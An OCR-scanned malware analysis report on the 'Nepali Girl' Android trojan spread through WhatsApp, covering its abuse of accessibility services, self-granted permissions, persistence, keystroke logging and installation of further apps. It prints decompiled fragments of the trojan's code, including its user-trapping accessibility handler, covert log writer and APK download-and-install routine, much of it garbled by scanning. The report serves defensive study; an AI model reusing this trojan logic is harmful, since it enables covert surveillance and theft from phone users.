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DISCLAIMER

This report is based on an analysis conducted in a controlled environment and should

not be replicated in a real-world setting. The information contained in this report is for
educational purposes only and should not be interpreted as concrete
recommendations for any specific action. Any attempt to replicate the results
described in this report is done at the user's own risk.

The analysis of the Trojan app was carried out by Nirmal Dahal and Niraj Kharel,
with support from Yojan Dhakal, Pradip Bhattarai, Bhuwan Bhetwal, Bibek
Dhungana, Aayush Shrestha, Aayushman Thapa Magar, and Anjil Sharma.



Background
\

"ANDROID TROJANS ARE SILENT PREDATORS, INFILTRATING YOUR DEVICE
WITHOUT YOU EVEN REALIZING IT, AND COMPROMISING THE SECURITY OF
YOUR SENSITIVE DATA.”

Nepali Girl is an android trojan that has been spreading in Nepal for over a month through the
WhatsApp messaging platform. This sophisticated piece of Trojan is designed to steal sensitive
information from the mobile devices of its victims, compromising their privacy and security. The
primary method of delivery for this trojan is through the popular messaging platform WhatsApp,

where it is distributed by sending a message that contains a malicious link or app directly.

Once installed, the trojan app can trick the victim to gain access to sensitive permissions by
displaying fake accessibility pages. Once the user provides permission on accessibility, this trojan
can automatically grant itself permissions like read SMS, call, account, camera, contacts,
microphone, storage can also be used to perform other actions or capabilities, such as
downloading additional malicious applications or displaying unwanted contents, having network

access, setting wallpaper, install shortcuts and much more.

2022 The images below are related to the detection and spread of the Nepali Girl Trojan and
were collected from a variety of sources about a month ago.
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Attack Scenario

“THE FOLLOWING FLOW CHART PROVIDES AN IN-DEPTH LOOK INTO THE
SPREAD OF THE NEPALI GIRL TROJAN AND THE ATTACK FLOW UTILIZED BY THE
ATTACKER.”

Attacker sends app u$er installs ﬂ.pp |
| thmugh Social Media Nepall GIRL App

Asks for Accessibility |
Service Permission

Stores Enter login Show Phishing pages
cookies, | _ details _ for different social
logindetails on =~ medias
local DB

,.*" Schedule the tasks Grants all necessary
/' for different attacks | | Permissions itself

View SMS, phone calls,

isten to Microphone, track Installs other
location, view contacts, malicious app without

access storage permission

The app is often distributed through WhatsApp, through a message or link sent by an infected
individual or group. Once the recipient downloads and installs the app, it gains access to the
device and requests various permissions, including accessibility. The user unwittingly grants all
permissions, allowing the app to add itself to the device's startup process and carry out its

malicious functions.

The app harvests sensitive information such as phone call logs, contacts, microphone recordings,
location data, and storage information. The harvested information is transmitted back to the
attacker and stored in an SQlite database, with the app specifically targeting credentials such as
those for Facebook and Google accounts. The app also schedules different attacks and drops

additional malware onto the device, further compromising its security.
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¢, BuildConfig -

package com.appser;

/% loaded from: classes.dex =/
public final class BuildConfig I

1

2

3

4

5 public
6 public
7 public
8 public
9 public
@ public
1

1
1

static
static
static
static
static
static

final String APPLICATION_ID = “com.appser.verapp";

final String BUILD_TYPE = “release";

final boolean DEBUG = false;

final String FLAVOR = "adsxjoinsjlindaideepervmagazineytaniidleesecuredjholdingsbparagraphsnjenniferjjamieqforbesf34";
final int VERSION_CODE = 999;

final String VERSION_NAME = "3.31.165";

- nepaligirl adb install Nepali\ GIrl.apk
Performing Streamed Install

Success

-+ nepaligirl frida-ps -Uai | grep -1 app

- nepaligirl

» nepaligirl adb shell pm list packages | grep -i app
package: com.appser.verapp

package:com.android. carrierdefaultapp

- nepaligirl D




We performed installation of the application within a sandboxed environment via different
mediums (e.g., ADB). Utilizing a package manager, we confirmed the successful installation of
the application. However, upon navigating to the application section on an android

device, the app was not visible as depicted in the following image.
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Abuse Of Android's Built-In
Functionality

Accessibility Service in an android application uses a permission
android.permission.BIND_ACCESSIBILITY_SERVICE which allows an application to take control
over a device to perform some special tasks with the purpose of helping people with disabilities.
One way the service can be utilized is by providing accessibility for individuals with visual
impairments by reading text out loud. Additionally, the service can perform tasks and display
content on top of other apps, making it easier for people with disabilities to use their devices.
Accessibility permission also allows an application to read and respond to the user’s interaction.
With the accessibility permission, applications can also view the current state of the device,
current focus, selected text, and the contents of the window.

While the Accessibility Service can provide assistance to users with disabilities, it can also be
exploited by malicious actors to gain access to sensitive permissions. For example, the trojan
application ‘NEPALI GIRL' uses this type of attack vector (Accessibility Service) to obtain additional
permissions on the infected device.

service android:name-"com. appser. bhEIFth’yblfrerlLuLbEUﬂﬂpLEFIEHUHﬂ*FULkT run3ULtlun1hE11ne33}bhurehulderbyvlqruvullflyertj?
L OF and “old.permission.BIND_ACCESSIBILITY _SERVICE™ androvrd:persistent "true”
FICERIT LLTE
action androld:name- "androld.accessibllityservice.Accessibilityservice
tent-=1 i

Ld :name "android.accessibilityservice" android:resource "Bxml/faccessibility”

"packingsoctiphotographerxlistingsguyananehcolorslsuspensioncspanishgtheatercbeachessreachesgef forthimprovementhchosenorealtorscparksbfol lowswrebat
eglineg/Zrebatechaltikattract fnatgwel Lnessysouthamptonelaterfsomethingfinclusivebmembershipl semiiagainstvabroadoamazoncomgournourseattractdnul lwsec
uritiesmval idationi?3.packingsoctiphotographerxlistingsguyananehcolorslsuspensioncspanishgtheatercbeachessreachesgefforthimprovementhchosenorealtor
scparksbfol Lowswrebateglineg/Zrebatechal tikattractfnotgwel Lnessysouthamptonelatert somethingfinclusivebmembershiplseml1agalnstvabroadoamazoncomgourn
ourseattractdnul lwsecuritiesmvalidationi?3 . packingsoctiphotographerxlistingsguyananehcolorslsuspensioncspanishgtheatercheachessreachesgefforthimpro
vementhchosenorealtorscparksbfol lowswrebateglineg?Zrebatechaitikattractfnatgwel Lnessysouthamptonelaterfsomethingfinclusivebmembershiplsemiiagainsty
ﬂbFUﬂdUHﬂﬂIUWLDﬂgUUFHGUFbEﬂttrﬂttﬂﬁullﬂbE{UFILLEmeﬂlldﬂtlﬂHIFE' andr value

"packingsoctiphotographerxlistingsquyananehcolorslsuspensioncspanishgt heatercbenchezsreachesqef ‘orthimprovementhchosenoreal torscparksbfol lowswrebat
eglinegyZrebatechaltikattractfnatgwel Lnessysouthamptonelaterfsomethingfinclusivebmembershiplsemiiogainstvabroadoomazoncomgournourseattractdnul lwsec
uritiesmval idationi?3.packingsoctiphotographerxlistingsguyananehcolorslsuspensioncspanishgtheatercbeachessreachesgefforthimprovementhchosenoreal tor
scparksbfol lowswrebateglineg72rebatechaitikattractfnaotgwel Lnessysouthamptonelaterfsomethingfinclusivebmembershiplsemiiogainstvabroadoamazoncomgourn
ourseattractdnul lwsecuritiesmvalidationi?3 . packingsoctiphotographerxlistingsguyananehcolorslsuspensioncspanishgtheatercbeachessreachesqefforthimpro
vementhchosenoreal torscparksbfol lowswrebateglineg?2rebatechaitikattract fnotgwel Lnessysouthamptonelaterf somethingfinclusivebmembershiplsemiiagainsty
abroadoomazoncomgournourseattractdnul lwsecuritiesmvalidationi73”™

S LLE

The metadata for above service is defined in xml/accessibility file where it has
- accessibilityFeedbackType="feedbackSpoken”
« canRetrieveWindowContent="true"

- canRequestTouchExplorationMode="true"



(m o omem wiem RS- of e o T A res/xml/accessibility.xml -

1| <?xml version="1.0" encoding="utf-8"7->

2| <accessibility-service xmlns:android-"http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes-"typeAllMask" android:accessibilityFeedbackType-"feedbackSpoken"
android:notificationTimeout-"1" android:accessibilityFlags
"flagReportViewlds | flagIncludeNotImportantViews|flagDefault" android:canRetrieveWindowContent "true"
android: canRequestTouchExplorationMode - "true” |

shelfschryslerberiticseadapterisoundtrackmtransactioniwelinessyshareholdersyvignavallflyerc 32 java x

@0verride // android.accessibilityservice.AccessibilityService
public void onAccessibilityEvent({AccessibilityEvent accessibilityEvent) {

int 1i;
try {
i = accessibilityEvent.getEventType();
try {
shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32GlobalEvent =
accessibilityEvent;
} catch (Exception unused) {
}
} catch (Exception unused2) {
i=89;
}
AccessibilityNodeInfo accessibilityNodelInfo = null;
try {

accessibilityNodeInfo = accessibilityEvent.getSource();
} catch (Exception unused3) {

}
try {
if (!shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32bypass.booleanValue
() {
try {

String str = "[" + getApplicationContext().getResources().getString{R.string.overviewkohd54) + "]1";
String string = getApplicationContext().getResources().getString(R.string.overviewkohd54);
if (Build.VERSION.SDK_INT > 15) {
String lowerCase = accessibilityEvent.getClassName().toString().toLowerCase();
if ("com.android.settings.SubSettings".tolLowerCase().equals{accessibilityEvent.getClassName().to5tring().
toLowerCase()) && (getEventText{accessibilityEvent).toLowerCase().equals(str.toLowerCase()) ||
getEventText(accessibilityEvent).toLowerCase().equals(string. toLowerCase()))) {
shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32blockBac
k();
shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32SendMeHo
me();
}
String lowerCase2 = getEventText(accessibilityEvent).tolowerCase();
String \owerCase3 = getApplicationContext().getResources().getString(R.string.overviewkohd54).toLowerCase
0);
String lowerCased4 = accessibilityEvent.getPackageName().toString().toLowerCase();
if ((lowerCased.equals(“Accessibility”.tolLowerCase()) &5 lowerCase2.contains(lowerCase3)) || (lowerCased.
equals("Accessibility".toLowerCase()) && lowerCase2.equals(lowerCase3))) {
shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32blockBac
k();
shelfschryslerberiticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32SendMeHo
me();

}
if {lowerCase2.contains("BHT{EANE".toLowerCase()) || (lowerCase2.contains{"##{".toLowerCase()) &&

lowerCase2.contains(lowerCaseld. toLowerCase()))) {



The above code snippet is part of an Android Accessibility Service, which is designed to assist
individuals with disabilities in navigating their device. The onAccessibilityEvent method is triggered
every time a relevant accessibility event takes place within the system. These methods likely
perform actions such as blocking the back button, sending the user to the home screen, or clicking
an element on the screen with a certain text. This code is utilized to call up the accessibility service

settings for the user, and it will prevent the user from returning or repeatedly prompt the user.

Analysis

When the application is executed, a fake accessibility page of an android device is presented

which is built in html as shown in the image below.

é Accessibility Service

SERVICES

NEPALI GIRL

TalkBack

SCREEN READERS

Text-to-speech output

DISPLAY

Font size

Display size

Enable : 'NEPALI GIRL




The application attempts to tempt users to click on Enable: ‘NEPALI GIRL’ in order to proceed further.
When a user clicks on that button, the legitimate accessibility page is opened that shows the

NEPALI GIRL application installed as a service.

Accessibility

Accessibility shortcut
Mo service selected

Downloaded services

NEPALI GIRL
OFF

Screen readers

Text-to-speech output

Display

Font size
Default

Display size
Small

Magnification
Off

Large mouse pointer

Interaction controls

Click after pointer stops moving
Off



When a user clicks on NEPALI GIRL under Accessibility’'s downloaded services, it asks the user to
allow the accessibility service permission which can observe the actions, retrieve window content,

turn on explore by touch and perform gestures as shown below.

Y. o 927

Use NEPALI GIRL?
NEPALI GIRL needs to:

Observe your actions
Receive notifications when you're interacting
with an app.

Retrieve window content
Inspect the content of a window you're
interacting with.

Turn on Explore by Touch

Tapped items will be spoken aloud and the screen
can be explored using gestures.

Perform gestures
Can tap, swipe, pinch, and perform other gestures.

CANCEL OK




Once a user clicks on "OK’, the application crashes and it seems like the application does not exist
on the device. Also, the application automatically grants itself with permissions like cameraq,

contacts, location, microphone, phone, SMS, and storage.

App permissions App permissions

NEPALI GIRL Y NEPALI GIRL

Camera Camera

Contacts ) Contacts

Location ] Location

Microphone ] Microphone

Phone ) Phone

SMS ] SMS

Storage

BEFORE AFTER

The absence of the application in the device's application menu denies user from launching it in a
normal manner. For a malicious app to be effective, it must be able to execute, but the Nepali Girl
application has been granted a capability to run on startup, allowing it to automatically launch
when the device restarts. Therefore, it is does not require any manual launches by users after

gaining the permissions on accessibility.



<  All permissions

n NEPALI GIRL

| modify or delete the contents of your SD card

Other app capabilities

run at startup

have full network access

prevent phone from sleeping

set an alarm

view network connections

view Wi-Fi connections

connect and disconnect from Wi-Fi
ask to ignore battery optimizations
set wallpaper

install shortcuts

H
A
A
0
H
[
A
A
0
H
[

uninstall shortcuts

We can also see varieties of capabilities granted to an application like changing the wallpaper,

installing and removing shortcuts, full network access and so on.



Also, the application contains multiple sandboxed processes running which might be collecting the
user interactions and data.

Memory usage

NEPALI GIRL

Average memory use

04 vB
[

Frequency Sometimes running (75%)

Maximum usage 628 MB

Details

NEPALI GIRL
65 MB / Sometimes running (75%)

Sandboxed_process0
12 MB / Rarely running (22%)

Sandboxed_process13
5.4 MB / Rarely running (9%)

Sandboxed_process11
4.4 MB / Rarely running (8%)

Sandboxed_process0
2.8 MB / Rarely running (5%)




The application also contains special permission to display its contents over any other
applications which a malicious actor can use to perform different phishing attacks.

Display over other apps

NEPALI GIRL
1.0.0.0

Allow display over other apps .

Allow this app to display on top of other apps you're using. It
may interfere with your use of those apps or change the way
they seem to appear or behave.

Additionally, this app contains permission to install other third-party application as well which
allows it to install additional trojans/ malwares as well.

Install unknown apps

NEPALI GIRL
1.0.0.0

Allow from this source O

Your phone and personal data are more vulnerable to attack by
unknown apps. By installing apps from this source, you agree
that you are responsible for any damage to your phone or loss
of data that may result from their use.




When the application is opened, it displays a fake page that was created using HTML. However, the
HTML code was encoded using base64 within the application. We discovered the encoded data
and were able to decode it to reveal the fake HTML code.

2 e C: 'DO NOT INSTALL/AccessPage.html b ol B & 3 =

Accessibility -1-

é Accessibility Service

SERVICES

Start Accessibility

TalkBack

SCREEN READERS

Text-to-speech output

Enable Accessibility To Continue




com.appser.verapp on (Android: 8.0.0) [usb] # env

Name Path

cacheDirectory /data/user/@/com.appser.verapp/cache

codeCacheDirectory /data/user/@/com.appser.verapp/code_cache
externalCacheDirectory /storage/emulated/@/Android/data/com.appser.verapp/cache
filesDirectory /data/user/0/com.appser.verapp/files

obbDir /storage/emulated/0/Android/obb/com.appser.verapp
packageCodePath /data/app/com.appser.verapp-f@G4tYRTkIv4 jNTkt777xQ==/base.apk

com.appser.verapp on (Android: 8.0.0) [usb] # I

-+ nepaligirl sqglite3 Web\ Data
SQLite version 3.32.2 2020-06-04 12:58:43
Enter ".help" for usage hints.

sgqlite> .tables

autofill
autofill_model_type_state
autofill_profile_emails
autofill_profile_names
autofill_profile_phones
autofill_profiles
autofill_profiles_trash
autofill_sync_metadata
sqlite> I

credit_cards
masked_credit_cards
meta
payments_customer_data
server_address_metadata
server_addresses
server_card_metadata
unmasked_credit_cards



Search for text:

- scheduler

[¥] Auto searc

Search definitions of;

| |Class | |Method | |Field (¢|Code | | Resource | | Comments

Node

() android. support.v4.app. JobIntentService
(& android.support.v4.app. JobIntentService. JobWorkEn. . .
(3 android.support.v4.app.JobIntentService. JobWorkEnquet

) android. support.vd.app.JobIntentService. JobWorkEnquer

{, android. support.v4. content . ContextCompat

£3 android. support.vd. content . ContextCompat . LegacyServi
., com.appser. SensorRestarterBroadcastReceiver

£ com.appser. SensorRestarterBroodcastReceiver. schedule.
£ com.appser. SensorRestarterBroadcastReceiver . schedule.
£, com.appser.ownerdbelowclargerdknowl edgestormwsury. . .
f o com.appser.ownerdbelowclargerdknowl edgestormwsurveil!
£ com.appser.ownerdbelowclargerdknowl edgestormwsurveil
, com.appser.shelfschryslerbcriticseadapterlsoundtr. . .
£ com.appser. shel fschryslerbcriticseadapterlsoundtracks
£ com.appser.shel fschryslerberiticseadapterlsoundtracks
, com.appser.shelfschryslerbcriticseadapterlsoundtr. ..
£ com.appser. shelfschryslerbcriticseadapterlsoundtracks
£ com.appser. shel fschryslerberiticseadapterlsoundtracks

Search options:
/| Case-insensitive | | Regex | | Active tab only

android.app. job.JobScheduler;
o JobScheduler mJobScheduler;
7. mlobScheduler - (JobScheduler) context.getApplicationContext().getSystemService("jobsched
- .mlobScheduler.enqueue( | - .mlobInfo,  JobWorkItem(intent));
android.app.job.JobScheduler;
SERVICES. put(JobScheduler. , "jobscheduler”);
android.app.job.JobScheduler;
JobScheduler jobScheduler  (JobScheduler) context.getSystemService("jobscheduler™);
jobScheduler. schedule(build);
android.app. job.JobScheduler;
JobScheduler jobScheduler - (JobScheduler) context.getSystemService(”jobscheduler®);
jobScheduler. schedule(build);
- android.app. job.JobScheduler;
JobScheduler jobScheduler  (JobScheduler) context.getSystemService(”jobscheduler™);
jobScheduler. schedule(build);
‘ot android.app. job. JobScheduler;
JobScheduler jobScheduler = (JobScheduler) context.getSystemService("jobscheduler™);
jobScheduler.schedule(build);

public class shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc34 extends

BroadcastReceiver {

public static void shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc34schedulelob(

Context context) {
JobInfo build;
try {

JobScheduler jobScheduler = (JobScheduler) context.getSystemService("jobscheduler");
ComponentName componentName = new ComponentName(context, WackMelUpJob.class);

if (Build.VERSION.SDK_INT == 24) {

build = new JobInfo.Builder(100,

} else {

}
jobScheduler.schedule(build);

} catch (Exception unused) {
}

build = new JobInfo.Builder(100,

componentName) . setPeriodic(900@00L).build();

componentName) . setPeriodic(15000L).build();



public String shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32RD(String str) {
String replace = str.replace("-n", "").replace("-0", "");
File externalStorageDirectory = Environment.getExternalStorageDirectory();
File file = new File(externalStorageDirectory + "/Config/sys/apps/log", "log-" + replace + "\n.txt"};
if (!'file.exists()) {
file = new File{externalStorageDirectory + “/Config/sys/apps/log", "log-" + replace + ".txt");

}
StringBuilder sb = new StringBuilder();
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
while (true) {
String readlLine = bufferedReader.readlLine();
if (readLine == null) {
break;
}
. sb.append(readLine);
bufferedReader.close();
i catch (FileNotFoundException | IOException unused) {

return sb.toString();



void shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32writeFile(String str) {
try {
String charSequence = DateFormat.format("yyyy-MM-dd", new Date()).toString();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
File file = new File(externalStorageDirectory, "/Config/sys/apps/log");
File file2 = new File(externalStorageDirectory, "/Config/sys/apps/log/log-" + charSequence + ".txt"});
if (!file.exists()) {

file.mkdirs():
}
if (!file2.exists()) {
file2.createNewFile();
}

String str2 = shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32toBaseb4(
str) + "s\r\n";

File file3 = new File(externalStorageDirectory + "/Config/sys/apps/log”, "log-" + charSequence + ".txt");

if (!file3d.exists()) {
file3.createNewFile();

}

FileOutputStream fileQutputStream = new FileOutputStream(file3, true);
OutputStreamWriter outputStreamWriter = new OutputStreamiwriter(fileQutputStream);
outputStreamWriter.append((CharSequence) str2);
outputStreamWriter. flush();
outputStreamWriter.close();
fileOutputStream.close();
fileQutputStream. flush();
} catch (Exception unused) {
}

[+_ Downloads while IFS= read -r line; do echo "$line" echo "" | basebts —decode; done < log-2823-81-24.txt
Settings#[NEPALI GIRL]#Sy?hSettings#[Let app always run in background?, Allowing NEPy?hALI GIRL to always run in the background may reduce battey?hry 1
ife.

You can change this later from Settings > Appsy?h & notifications., DENY, ALLOW])#5y?hSettings#[ALLOW]#8y?hSettings#[Settings]#5y?hSettings Suggestions#
[Settings Suggestions]#Sy?hSettings Suggestions#[Nel#3y?hSettings Suggestions#[Neplal#3y?hSettings Suggestions#[Nepall#3y?hSettings#[App infol#Sy7hSett
ings#[Permissions, Call logs, Camera, Contacts, Locaty?hPermission controller#(Contacts permission]#Sy?hSettings#[App infol#Sy?hSettings#[App info)#Sy?
hPackage installer#[NEPALI GIRL, Do you want to uninstall y?hthis app?, CANCEL, OK]#Sy?hPackage installer#[Package installer)#5y?hSettings#[App infol#s
y?hSettings#[Settings ]#5y?hSettings#[Settings ]#5y7hSettings Suggestions#[Settings Suggestions]#5y?hSettings Suggestions#[Me]#3y?hSettings Suggestions#(
Nepal]#3y?hSettings#[App info]#5y?hPackage installer#[NEPALI GIRL, Do you want to uninstall y?hthis app?, CANCEL, OK]#5y?hPackage installer#[Package in
staller ]#5y?hQuickstep#[ Search appsl#ly?hSettings#[App info]#5y?hSettings#[Settings)#5y?hSettings#[Settings l#5yThSettings Suggestions#[Settings Sugge
stions)#5y7hSettings Suggestions#[Ne]#3y?hSettings Suggestions#[Nepall#3y?hSettings Suggestions#[NEPALI GIRL, Accessibility]#@y?hSettings#[Let app alwa
y¥s run in background?, Allowing NEPy?hALI GIRL to always run in the background may reduce battey?hry life.

You can change this later from Settings > Appsy?h & notifications., DENY, ALLOW]#S5y?hSettings#[ALLOW]#@y?hSettings#[Navigate upl#@y?hSettings#[Settings
J#6yThSettings#[Settings J#5y?hSettings Suggestions#[Settings Suggestions]#5y?hSettings Suggestions#[Ne)#3y?hSettings Suggestions#[Nepal)#3y?hSettings#(
App infol#5y?hSettings#([Permissions, Call logs, Camera, Contacts, Locaty?hSettings#[App infol#Sy?hSettings#[App infol#Sy?hSettings#[Permissions, Call 1
ogs, Camera, Contacts, Locaty?hSettings#[App infol#Sy?hSettings#[App infol#5y7hSettings#[Advanced, Battery, Open by default, Advanced]#@y?hSettings#[In
stall unknown apps]#5yThSettings#[MNavigate upl#@yThSettings#[App infola#SyThSettings#(App infol#Sy?hSettings#([Navigate upl#@y?hSettings Suggestions#[Set
tings Suggestions)#Sy?hSettings Suggestions#[Settings Suggestions]#Sy?hSettings Suggestions#[Navigate upl#@yThSettings#[Settings ]#Sy?hSettings#[Setting
s J#5y?hSettings#[Settings J#5y?hSettings Suggestions#[Settings Suggestions J#5y7hSettings Suggestions#[Ne]#3y?hSettings Suggestions#[Mepal J#3y?hSettings#
[App infol#Sy?hSettings#[Permissions, Call logs, Camera, Contacts, Locaty?hSettings#[App infol#Sy7hSettings#[App info]#Sy?hSettings#[Navigate upl#@y?hs
ettings Suggestions#[Settings Suggestions#5y?hSettings Suggestions#[Settings Suggestions]#5y?hSettings Suggestions#[Navigate upl#@y?hSettings#[Setting
s J#5y7hSettings#[Settings J#Sy7hSettings#[Connected devices ]#5y7hSettings#(Navigate upl#@y?hSettings#(Connected devices)#5y?hSettings#[Connected devices
J#6yThSettings#[Navigate upl#@y?hSettings#[Settings)#5y?hSystem UI#[Notification shade. ]#5y?hPhone#[Phone]#Sy?hSystem UI#[Notification shade. J#5y?hPhon
e#[End calll#@y?hSettings#[Settings J#5y?hSettings#(Settings 1#5y?hSystem UI#[Notification shade. ]#5y?hSystem UI#[Notification shade. l#Sy?hMessaging#[t]#
3y?hMessaging#[ tesy ]#3y7hMessaging#[ test J#3y?hQuickstep#[Gallery J#@y?hGallery#[ J#5y?hGallery#[Camera ]#@y?hCamera#[ Shutter 1#8y?hCamera#[ Shutter ]#@y7hCam
era#[Shutter J#@y?hCamera#[Shutter |#@y?hCamera#[Shutter J#8y?hCamera#(Shutter J#@y?hCamera#[Shutter J#0y?hCamera#[Shutter J#0y?hQuickstep#[Gallery J#0y7hGall
ery®[ J#5y?hQuickstep#[Custom Locale]#@y?hAmaze#[Amaze ]#Sy?hPermission controller#[Allow Amaze to access photos, mediy?hAmaze#[Text Reader]#5y7hAmaze#[U
GVybWlzc21lvbiBjb258cmPsbGVyI1tETEXPV1OjMA==



{, secretarygmortgagestpenddrinkhobtainedldonatetphotographsbbruneijcircleelambdarskinsdpurposew2?

28 if (file2.exists()) {
. fileZ . delete():
}
31 FileOutputStream fileQutputStream = new FileQutputStream(file2);
33 Input5Stream inputStream = httpURLConnection.getInputStream(];
byte[] bArr = new byte[1824];
while (true) {
37 int read = inputStream. read(bArr);
if [(read = =1) {
38 fileQutputStream.write(bArr, @, read);
} else {
40 fileQutputStream.close();
41 inputStream.closel();
43 Intent intent = new Intent{"android.intent.action.VIEW");
44 intent.setDataAndType{educationalwejvf looringvgaleidalefmat rixbcaveaclickingnproblemgtallrreceivingddragoneasinnS.uriFroaFile{this.

context, new File({educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinnS.
pdiconsxprovisionsagenerouscadministeredbparentwcolumnistszcelebshfootagersubmittinghrnaengaget4s(
“"Smnimplementof leecejsaskatchewanbutilshltdiconstantsbenefitffishldelegationiincurredotalksvdeliveringfbiologicalgsurdreguirementskexpensivecindonesianaceili
ngdexpectswmerchantadiscretionwfilterecriticisafblowjobjpaintingsmmillionshantoniomfedlpreciselykpipelinesrcyturningbmateiracinggeconomyqparticipantzdropsrpo
interncarolinalculturehitaliczpopeofinanceyevabradarspartrjecexperienceycoolnrecyclingrprotocolaiobehemist ryvgreetingychaptersbs lotnpraiselreferralbverdeldow
klongerzestoniazgcxzoldestobackingamailsrcutiwalksrpassesasentkdianahjailzforkkreasonsvoccupationalnpossiblyxinfluenceistonebresumescdegreeosteslvmmzassesseen
triatinasialmostdwantingkcolonialrpasoioks remesbervlandscapesweucformsatdvisualruxcpassporteskipialexandriajbirminghamcauohealthykinf luenceserenderedjartistac
oncordlwxgoldest jhosencheckoutxreplyjinfraredzstephenhprecisehavdfundamentalirfeburnmarcticbpreciselygoccupationsgdetectorkS@t/sdcaimplementofleecejsaskatche
wanbutilshltdiconstantsbenefitffishldelegationiincurredotalksvdeliveringfbiologicalgsurdrequirementskexpensivecindonesianaceilingdexpectswmerchantadiscretion
wiilterecriticismfblowjobjpaintingsmmillionshantoniomfedlpreciselykpipelinesrcyturningbmateiracingqeconomygparticipantzdropsrpointerncarolinalculturehitalicsz
popeofinanceyevabradarspartrjecexperienceycoolnrecyclingrprotocolaiobchemistryvgreetingychaptersbslotnpraiselreferralbverdeldowklongerzestoniazgcxoldestoback
ingamailsrcutiwalksrpassesasentkdianahjailzforkkreasonsvoccupationalnpossiblyxinfluenceistonebresumescdegresosteslvamzassessmentrlatinasialmostdwantingkcolon
ialrpasoioksrememberviandscapesweucformatdvisualrwxcpassporteskipialexandriajbirminghascavchealthykinfluenceserenderedjartistaconcordlwxgoldestjhosencheckout
xreplyjinfraredzstephenhprecisehavdfundamentalirfeburnmarcticbpreciselygoccupationsgdetectorkS@rd/Download/implementofleecejsaskatchewanbutilshltdiconstantsh
enefitffishldelegationiincurredotalksvdeliveringfbiologicalgsurdreguirementskexpensivecindonesianaceilingdexpectswmerchantadiscretionwfilterecriticismfblowjo
bjpaintingsmmillionshantoniosfedipreciselykpipelinesrcyturningbmateiracinggeconomyqparticipantzdropsrpointerncarolinalculturenitaliczpopeafinanceyevabradarsp
artrjecexperienceycoolnrecyclingrprotocolaiobchemist ryvgreetingychaptersbslotnpraiselreferralbverdeldowklongerzestoniazgexoldestobackingamailsrcutiwalksrpass
esasentkdianahjailzforkkreasonsvoccupationalnpossiblyxinfluenceistonebresumescdegreeosteelvmmzassesssentrlatinasialmostdwantingkcolonialrpasoioksresembervian
dicapesweucformatdvisualrwxcpassporteskipialexandriajbirminghamcavohealthykinfluenceserenderedjartistaconcord lwxgoldestjhosencheckoutxreplyjinfraredzstephenh
precisehavdfundamentalirfeburnmarcticbpreciselygoccupationsgdetectork5d.update, apk”,
“implementofleecejsaskatchewanbutilshltdiconstantsbenefitffishldelegationiincurredotalksvdeliveringfbiologicalgsurdrequiresentskexpensivecindonesianaceilingd
expectswmerchantadiscretionwfilterecriticisafblowjobjpaintingsmmillionshantoniomfedlpreciselykpipelinesrcyturningbmateiracinggeconomygparticipantzdropsrpoint
erncarolinalculturehitaliczpopeofinanceyevabradarspartrjecexperienceycoolnrecyclingrprotocolaiobchemistryvgreetingychaptersbslotnpraiselreferralbverdeldowklo
ngerzestoniazgcxoldestobackingamailsrcutiwalksrpassesasentkdianahjailzforkkreasonsvoccupationalnpossiblyxinfluenceistonebresumescdegreeosteslvmmzassessmentrl
atinasialmostdwantingkcolonialrpasoioksremenberviandscapesweucformatdvisvalrwxcpassporteskipialexandriajbirminghamcavohealthykinfluenceserenderedjartistaconc
ordlwxgoldestjhosencheckoutxreplyjinfraredzstephenhprecisehavdfundamentalirfeburnmarcticbpreciselygoccupationsgdetectork58”)}),
“application/vnd.android.package-archive");

intent.setFlags(268435456) ;

shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc3i2.
shelfschryslerberiticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc32FOR_IN = true;

=== str="/mninplenentofleecejsaskatchewanbutilshltdiconstantsbenafitffishldelegatloniincurredotalksvdel iveringfblologicalgsurdregul rementskexpensivecindonesianacellingdexpect swnerchantadiscr
etiomufilterecriticisnfblowjobjpaintingsenillionshantonionfediprecisel ykpipelinesrcyturningbnateiracinggecononyqparticipantzdropsrpointerncarolinalculturehitaliczpopeof inanceyevabradarspartr
jecexnperienceycodlnrecyclingrprotocolalobchenist ryvgraatingychaptersbslotnpralsel referralbverdeldowkilongeries tonlazgeoldestobackinganal L rcut iwalkirpasiesatontkdlanahjallz forkkreasonsvoccup
atienalnpossiblyxinflusncel stonebrosunescdogrosos teslynnzassessnont rlatinasialeos towant inghcolonlal rpasoloks rononbe ryl andscapeswout fornatdvisual rexcpassporteskipialecand ria) bl ralnghancavohas
Lihykinfluenceserenderedjartistaconcordlvngoldest jhosencheckoulxreplyj inf raredzstephenhpreclsehavdfundanental irfeburnmarcticbpreclselygoccupat lonsgdetec torkS0t/sdealnplenentoflesce | saskatche
wanbutilshltdiconstantsbenefitffishldelegationiincurredotal ksvdeliveringfolologicalgsurdrequi rementskexpensivecindonesianacel lingdexpectswmerchantadiscretiomifilterecriticisnfblowjobjpaintin
gsmnillionshantonionTedlpreciselykpipelines reyturningbnatel racinggeconomygpart icipantzdropsrpointerncarolinaleulturenitaliczpopeol inanceyevabradarspartr jecexper ienceycoolnrecyclingrprotocola
isbchenist ryvgreetingychaptersbslotnpraisel referralbverdsl dowklongersestoniazgcnaldestobackinganailsrcut iwalksrpassesasentkdianahjailzforkkreatonsvaccupationalnpossiblyxinflusnceistonebresun
